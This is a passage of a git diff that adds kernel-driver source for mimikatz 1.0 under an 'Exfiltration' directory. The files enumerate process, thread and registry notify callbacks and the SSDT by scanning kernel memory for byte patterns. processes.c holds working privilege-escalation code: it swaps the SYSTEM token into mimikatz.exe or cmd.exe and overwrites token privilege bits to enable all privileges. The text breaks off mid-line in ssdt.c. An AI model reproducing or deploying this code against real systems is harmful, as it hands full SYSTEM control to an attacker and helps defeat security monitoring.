cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + ULONG bonusCount; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyProcesses\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspCreateProcessNotifyRoutine(); + if(NT_SUCCESS(status)) + { + bonusCount = *PspCreateProcessNotifyRoutineCount + ((INDEX_OS < INDEX_VISTA) ? 0 : *PspCreateProcessNotifyRoutineExCount); + for(i = 0; (i < bonusCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateProcessNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspCreateProcessNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Process[] = {0x41, 0xbc, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xeb}; + LONG OFFS_WNT5_Process = -4; + UCHAR PTRN_WNO8_Process[] = {0x40, 0xc0, 0xed, 0x02, 0x41, 0x22, 0xee, 0xa8, 0x02, 0x0f, 0x84}; + LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 4 + 3; + UCHAR PTRN_WIN8_Process[] = {0x40, 0xc0, 0xee, 0x02, 0x41, 0x22, 0xf6, 0xa8, 0x02, 0x0f, 0x84}; + LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process) + 4 + 3; + + PUCHAR REF_D_WNO8_Process = (PUCHAR) CcMdlRead; + PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process - 25*PAGE_SIZE; + PUCHAR REF_D_WIN8_Process = (PUCHAR) SeImpersonateClientEx; + PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process + 25*PAGE_SIZE; + + LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; + LONG OFFS_WIN8_CountEx = OFFS_WNO8_CountEx; + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); + LONG OFFS_WIN8_Count = - 0x18; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Process[] = {0x56, 0x57, 0x74}; + LONG OFFS_WNT5_Process = sizeof(PTRN_WNT5_Process) + 2; + UCHAR PTRN_WNO8_Process[] = {0x33, 0xdb, 0xc7, 0x45}; + LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 1; + UCHAR PTRN_WIN8_Process[] = {0x33, 0xdb, 0x89, 0x5d, 0x0c, 0xbe}; + LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process); + + PUCHAR REF_D_WNO8_Process = (PUCHAR) PsSetCreateProcessNotifyRoutine; + PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process + 25*PAGE_SIZE; + PUCHAR REF_D_WIN8_Process = (PUCHAR) IoConnectInterrupt; + PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process - 25*PAGE_SIZE; + + LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; + LONG OFFS_WIN8_CountEx = - 0x20; + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); + LONG OFFS_WIN8_Count = OFFS_WIN8_CountEx - sizeof(ULONG); + #endif + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = NULL, refFin = NULL; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCountEx = 0, offsetToCount = 0; + + if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_8) + { + if(INDEX_OS < INDEX_VISTA) + { + pattern = PTRN_WNT5_Process; + taille = sizeof(PTRN_WNT5_Process); + offsetTo = OFFS_WNT5_Process; + offsetToCount = OFFS_WNT5_Count; + } + else + { + pattern = PTRN_WNO8_Process; + taille = sizeof(PTRN_WNO8_Process); + offsetTo = OFFS_WNO8_Process; + offsetToCountEx = OFFS_WNO8_CountEx; + offsetToCount = OFFS_WNO8_Count; + } + refDebut = REF_D_WNO8_Process; + refFin = REF_F_WNO8_Process; + } + else + { + pattern = PTRN_WIN8_Process; + taille = sizeof(PTRN_WIN8_Process); + offsetTo = OFFS_WIN8_Process; + refDebut = REF_D_WIN8_Process; + refFin = REF_F_WIN8_Process; + offsetToCountEx = OFFS_WIN8_CountEx; + offsetToCount = OFFS_WIN8_Count; + } + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspCreateProcessNotifyRoutine = (PVOID) (pointeur); + PspCreateProcessNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + if(INDEX_OS >= INDEX_VISTA) + PspCreateProcessNotifyRoutineExCount = (PULONG) (pointeur + offsetToCountEx); + + if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.h b/Exfiltration/mimikatz-1.0/driver/notify_process.h new file mode 100644 index 0000000..27cbe3a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_process.h @@ -0,0 +1,12 @@ +#pragma once +#include "notify.h" + +#define MAX_NT6_PspCreateProcessNotifyRoutine 64 +#define MAX_NT5_PspCreateProcessNotifyRoutine 8 + +ULONG * PspCreateProcessNotifyRoutineCount; +ULONG * PspCreateProcessNotifyRoutineExCount; +PVOID * PspCreateProcessNotifyRoutine; + +NTSTATUS getPspCreateProcessNotifyRoutine(); +NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.c b/Exfiltration/mimikatz-1.0/driver/notify_reg.c new file mode 100644 index 0000000..843cfba --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_reg.c @@ -0,0 +1,137 @@ +#include "notify_reg.h" + +ULONG * CmpCallBackCount = NULL; +PVOID * CmpCallBackVector = NULL; +PLIST_ENTRY CallbackListHead = NULL; + +NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + PLIST_ENTRY maListe; + PKIWI_REGISTRY6_CALLBACK monCallBack6; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyRegistry\n\n"); + if(NT_SUCCESS(status)) + { + status = getNotifyRegistryRoutine(); + if(NT_SUCCESS(status)) + { + if(INDEX_OS < INDEX_VISTA) + { + for(i = 0; (i < *CmpCallBackCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(CmpCallBackVector[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" - cookie %#.I64x\n", *(monCallBack->opt_cookie) + ); + } + } + } + } + } + else + { + for(maListe = CallbackListHead->Flink, i = 0; (maListe != CallbackListHead) && NT_SUCCESS(status) ; maListe = maListe->Flink, i++) + { + monCallBack6 = (PKIWI_REGISTRY6_CALLBACK) (((ULONG_PTR) maListe) + sizeof(LIST_ENTRY) + 2*((INDEX_OS < INDEX_7) ? sizeof(PVOID) : sizeof(ULONG))); + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack6->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" - alt %wZ - cookie %#.I64x\n", &(monCallBack6->altitude), monCallBack6->cookie); + } + } + } + } + } + } + return status; +} + +NTSTATUS getNotifyRegistryRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Vector[]= {0x4c, 0x8d, 0x3d}; + UCHAR PTRN_WNT5_Count[] = {0x0f, 0xc1, 0x05}; + + UCHAR PTRN_WN60_Head[] = {0x48, 0x8b, 0xf0, 0x48}; + LONG OFFS_WN60_Head = -9; + UCHAR PTRN_WALL_Head[] = {0x48, 0x8b, 0xf8, 0x48}; + LONG OFFS_WALL_Head = -9; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Vector[]= {0x53, 0x56, 0x57, 0xbb}; + UCHAR PTRN_WNT5_Count[] = {0xff, 0xb9}; + + UCHAR PTRN_WN60_Head[] = {0x8b, 0xcb, 0xe8}; + LONG OFFS_WN60_Head = 12; + UCHAR PTRN_WN61_Head[] = {0x8b, 0xc7, 0xe8}; + LONG OFFS_WN61_Head = -4; + UCHAR PTRN_WIN8_Head[] = {0x53, 0x8d, 0x55}; + LONG OFFS_WIN8_Head = -4; + #endif + PUCHAR refDebut = (PUCHAR) CmUnRegisterCallback, refFin = refDebut + PAGE_SIZE; + PUCHAR pattern = NULL; SIZE_T taille = 0; LONG offsetTo = 0; + + if((CmpCallBackVector && CmpCallBackCount) || CallbackListHead) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + retour = genericPointerSearch((PUCHAR *) &CmpCallBackVector, refDebut, refFin, PTRN_WNT5_Vector, sizeof(PTRN_WNT5_Vector), sizeof(PTRN_WNT5_Vector)); + if(NT_SUCCESS(retour)) + { + retour = genericPointerSearch((PUCHAR *) &CmpCallBackCount, refDebut, refFin, PTRN_WNT5_Count, sizeof(PTRN_WNT5_Count), sizeof(PTRN_WNT5_Count)); + } + } + else + { + if(INDEX_OS < INDEX_7) + { + pattern = PTRN_WN60_Head; + taille = sizeof(PTRN_WN60_Head); + offsetTo= OFFS_WN60_Head; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WALL_Head; + taille = sizeof(PTRN_WALL_Head); + offsetTo= OFFS_WALL_Head; + #elif defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WN61_Head; + taille = sizeof(PTRN_WN61_Head); + offsetTo= OFFS_WN61_Head; + } + else + { + pattern = PTRN_WIN8_Head; + taille = sizeof(PTRN_WIN8_Head); + offsetTo= OFFS_WIN8_Head; + } + #endif + } + retour = genericPointerSearch((PUCHAR *) &CallbackListHead, refDebut, refFin, pattern, taille, offsetTo); + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.h b/Exfiltration/mimikatz-1.0/driver/notify_reg.h new file mode 100644 index 0000000..ce86568 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_reg.h @@ -0,0 +1,17 @@ +#pragma once +#include "notify.h" + +ULONG * CmpCallBackCount; +PVOID * CmpCallBackVector; +PLIST_ENTRY CallbackListHead; + +typedef struct _KIWI_REGISTRY6_CALLBACK +{ + LARGE_INTEGER cookie; + PVOID context; + PVOID callback; + UNICODE_STRING altitude; +} KIWI_REGISTRY6_CALLBACK, *PKIWI_REGISTRY6_CALLBACK; + +NTSTATUS getNotifyRegistryRoutine(); +NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.c b/Exfiltration/mimikatz-1.0/driver/notify_thread.c new file mode 100644 index 0000000..41436b0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_thread.c @@ -0,0 +1,111 @@ +#include "notify_thread.h" + +ULONG * PspCreateThreadNotifyRoutineCount = NULL; +PVOID * PspCreateThreadNotifyRoutine = NULL; + +NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyThreads\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspCreateThreadNotifyRoutine(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < *PspCreateThreadNotifyRoutineCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateThreadNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspCreateThreadNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Thread[] = {0x48, 0x8d, 0x35}; + LONG OFFS_WNT5_Thread = sizeof(PTRN_WNT5_Thread); + UCHAR PTRN_WNT6_Thread[] = {0x48, 0x8d, 0x0d}; + LONG OFFS_WNT6_Thread = sizeof(PTRN_WNT6_Thread); + #elif defined _M_IX86 + UCHAR PTRN_WNO8_Thread[] = {0x56, 0xbe}; + LONG OFFS_WNO8_Thread = sizeof(PTRN_WNO8_Thread); + UCHAR PTRN_WIN8_Thread[] = {0x53, 0xbb}; + LONG OFFS_WIN8_Thread = sizeof(PTRN_WIN8_Thread); + #endif + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT6_PspCreateThreadNotifyRoutine; + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetCreateThreadNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCount = 0; + + if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + #ifdef _M_X64 + pattern = PTRN_WNT5_Thread; + taille = sizeof(PTRN_WNT5_Thread); + offsetTo = OFFS_WNT5_Thread; + #endif + offsetToCount = OFFS_WNT5_Count; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WNT6_Thread; + taille = sizeof(PTRN_WNT6_Thread); + offsetTo = OFFS_WNT6_Thread; + #endif + offsetToCount = OFFS_WNT6_Count; + } + + #if defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WNO8_Thread; + taille = sizeof(PTRN_WNO8_Thread); + offsetTo = OFFS_WNO8_Thread; + } + else + { + pattern = PTRN_WIN8_Thread; + taille = sizeof(PTRN_WIN8_Thread); + offsetTo = OFFS_WIN8_Thread; + } + #endif + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspCreateThreadNotifyRoutine = (PVOID) (pointeur); + PspCreateThreadNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + + if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.h b/Exfiltration/mimikatz-1.0/driver/notify_thread.h new file mode 100644 index 0000000..22499b7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_thread.h @@ -0,0 +1,11 @@ +#pragma once +#include "notify.h" + +#define MAX_NT6_PspCreateThreadNotifyRoutine 64 +#define MAX_NT5_PspCreateThreadNotifyRoutine 8 + +ULONG * PspCreateThreadNotifyRoutineCount; +PVOID * PspCreateThreadNotifyRoutine; + +NTSTATUS getPspCreateThreadNotifyRoutine(); +NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/processes.c b/Exfiltration/mimikatz-1.0/driver/processes.c new file mode 100644 index 0000000..55e13ab --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/processes.c @@ -0,0 +1,146 @@ +#include "processes.h" + +const ULONG EPROCESS_OffSetTable[MAX_OS_LEN][MAX_EPROCESS_LEN] = +{ + /* INDEX_EPROCESS_NEXT, INDEX_EPROCESS_FLAGS2, INDEX_TOKEN_PRIVS */ +#ifdef _M_IX86 +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0088, 0x0000, 0x0000}, +/* INDEX_2K3 */ {0x0098, 0x0000, 0x0000}, +/* INDEX_VISTA */ {0x00a0, 0x0224, 0x0040}, +/* INDEX_2K8 */ {0x00a0, 0x0224, 0x0040}, +/* INDEX_7 */ {0x00b8, 0x026c, 0x0040}, +/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000},/* n'existe pas ! */ +/* INDEX_8 */ {0x00b8, 0x00c0, 0x0040} +#else +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 *est* 2003 x64 */ +/* INDEX_2K3 */ {0x00e0, 0x0000, 0x0000}, +/* INDEX_VISTA */ {0x00e8, 0x036c, 0x0040}, +/* INDEX_2K8 */ {0x00e8, 0x036c, 0x0040}, +/* INDEX_7 */ {0x0188, 0x043c, 0x0040}, +/* INDEX_2K8R2 */ {0x0188, 0x043c, 0x0040}, +/* INDEX_8 */ {0x02e8, 0x02f8, 0x0040} +#endif +}; + +NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ExchangeToken); +} + +NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListProcesses); +} + +NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_NOT_SUPPORTED; + + if(INDEX_OS >= INDEX_VISTA) + status = listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, FullPrivilegeNT6); + + return status; +} + +NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action) +{ + NTSTATUS status = STATUS_SUCCESS, status2 = STATUS_SUCCESS; + PEPROCESS monProcess = NULL; + PCHAR processName = NULL; + HANDLE processId = NULL; + + PACCESS_TOKEN monTokenAcess = NULL; + PKIWI_NT6_PRIVILEGES mesPrivileges = NULL; + + HANDLE sysProcessHandle, sysProcessTokenHandle, newSysTokenHandle, processHandle; + PROCESS_ACCESS_TOKEN ProcessTokenInformation; + PULONG pFlags2 = NULL; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + + for( + monProcess = PsInitialSystemProcess; + NT_SUCCESS(status) && + (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) != PsInitialSystemProcess; + monProcess = (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) + ) + { + processName = PsGetProcessImageFileName(monProcess); + processId = PsGetProcessId(monProcess); + + if(action == ExchangeToken || action == FullPrivilegeNT6) + { + if((RtlCompareMemory("mimikatz.exe", processName, 13) == 13) || (RtlCompareMemory("cmd.exe", processName, 7) == 7)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"processes::ExchangeToken/FullPrivilegeNT6 \'%S' trouvé :) - PID %u\n", processName, processId + ); + if(action == ExchangeToken) + { + status2 = ObOpenObjectByPointer(PsInitialSystemProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_READ, *PsProcessType, KernelMode, &sysProcessHandle); + if(NT_SUCCESS(status2)) + { + status2 = ObOpenObjectByPointer(monProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_WRITE, *PsProcessType, KernelMode, &processHandle); + if(NT_SUCCESS(status2)) + { + status2 = ZwOpenProcessTokenEx(sysProcessHandle, TOKEN_DUPLICATE, OBJ_KERNEL_HANDLE, &sysProcessTokenHandle); + if(NT_SUCCESS(status2)) + { + status2 = ZwDuplicateToken(sysProcessTokenHandle, TOKEN_ASSIGN_PRIMARY, NULL, FALSE, TokenPrimary, &newSysTokenHandle); + if(NT_SUCCESS(status2)) + { + ProcessTokenInformation.Token = newSysTokenHandle; + ProcessTokenInformation.Thread = 0; + + if(INDEX_OS >= INDEX_VISTA) + { + pFlags2 = (PULONG) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_FLAGS2]); + *pFlags2 &= ~TOKEN_FROZEN_MASK; + } + + status2 = ZwSetInformationProcess(processHandle, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN)); + if(NT_SUCCESS(status2)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\nToken échangé :)\n"); + } + + if(INDEX_OS >= INDEX_VISTA) + { + *pFlags2 |= TOKEN_FROZEN_MASK; + } + + ZwClose(newSysTokenHandle); + } + ZwClose(sysProcessTokenHandle); + } + ZwClose(processHandle); + ZwClose(sysProcessHandle); + } + } + } + else + { + if(monTokenAcess = PsReferencePrimaryToken(monProcess)) + { + mesPrivileges = (PKIWI_NT6_PRIVILEGES) (((ULONG_PTR) monTokenAcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_TOKEN_PRIVS]); + + mesPrivileges->Present[0] = mesPrivileges->Enabled[0] /*= mesPrivileges->EnabledByDefault[0]*/ = 0xfc; + mesPrivileges->Present[1] = mesPrivileges->Enabled[1] /*= mesPrivileges->EnabledByDefault[1]*/ = //...0xff; + mesPrivileges->Present[2] = mesPrivileges->Enabled[2] /*= mesPrivileges->EnabledByDefault[2]*/ = //...0xff; + mesPrivileges->Present[3] = mesPrivileges->Enabled[3] /*= mesPrivileges->EnabledByDefault[3]*/ = 0xff; + mesPrivileges->Present[4] = mesPrivileges->Enabled[4] /*= mesPrivileges->EnabledByDefault[4]*/ = 0x0f; + + PsDereferencePrimaryToken(monTokenAcess); + } + } + } + } + else + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%u\t%S\n", processId, processName); + } + } + return status; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/processes.h b/Exfiltration/mimikatz-1.0/driver/processes.h new file mode 100644 index 0000000..ae99825 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/processes.h @@ -0,0 +1,33 @@ +#pragma once +#include <ntifs.h> +#include "k_types.h" + +#define INDEX_EPROCESS_NEXT 0 +#define INDEX_EPROCESS_FLAGS2 1 +#define INDEX_TOKEN_PRIVS 2 +#define MAX_EPROCESS_LEN 3 + +#define TOKEN_FROZEN_MASK 0x00008000 + +typedef struct _KIWI_NT6_PRIVILEGES +{ + UCHAR Present[8]; + UCHAR Enabled[8]; + UCHAR EnabledByDefault[8]; +} KIWI_NT6_PRIVILEGES, *PKIWI_NT6_PRIVILEGES; + +typedef enum _KIWI_EPROCESS_ACTION +{ + ListProcesses, + ExchangeToken, + FullPrivilegeNT6 +} KIWI_EPROCESS_ACTION; + +extern char* PsGetProcessImageFileName(PEPROCESS monProcess); +extern NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength); + +NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.c b/Exfiltration/mimikatz-1.0/driver/ssdt.c new file mode 100644 index 0000000..688dfb2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/ssdt.c @@ -0,0 +1,83 @@ +#include "ssdt.h" + +#ifdef _M_X64 +PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable = NULL; +#endif + +NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + USHORT idxFunction; + ULONG_PTR funcAddr; + + #ifdef _M_X64 + status = getKeServiceDescriptorTable(); + if(NT_SUCCESS(status)) + { + #endif + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION , L"kSSDT - KeServiceDescriptorTable\t: %p\nkSSDT - KeServiceDescriptorTable.TableSize\t: %u\n", KeServiceDescriptorTable, KeServiceDescriptorTable->TableSize); + for(idxFunction = 0; (idxFunction < KeServiceDescriptorTable->TableSize) && NT_SUCCESS(status) ; idxFunction++) + { + #ifdef _M_IX86 + funcAddr = (ULONG_PTR) KeServiceDescriptorTable->ServiceTable[idxFunction]; + #else + funcAddr = (ULONG_PTR) KeServiceDescriptorTable->OffsetToService; + if(INDEX_OS < INDEX_VISTA) + { + funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] & ~EX_FAST_REF_MASK; + } + else + { + funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] >> 4; + } + #endif + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%4u]\t: ", idxFunction); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr(funcAddr, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + #ifdef _M_X64 + } + #endif + return status; +} + +#ifdef _M_X64 +NTSTATUS getKeServiceDescriptorTable() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + + UCHAR PTRN_WALL_Ke[] = {0x00, 0x00, 0x4d, 0x0f, 0x45, 0xd3, 0x42, 0x3b, 0x44, 0x17, 0x10, 0x0f, 0x83}; + LONG 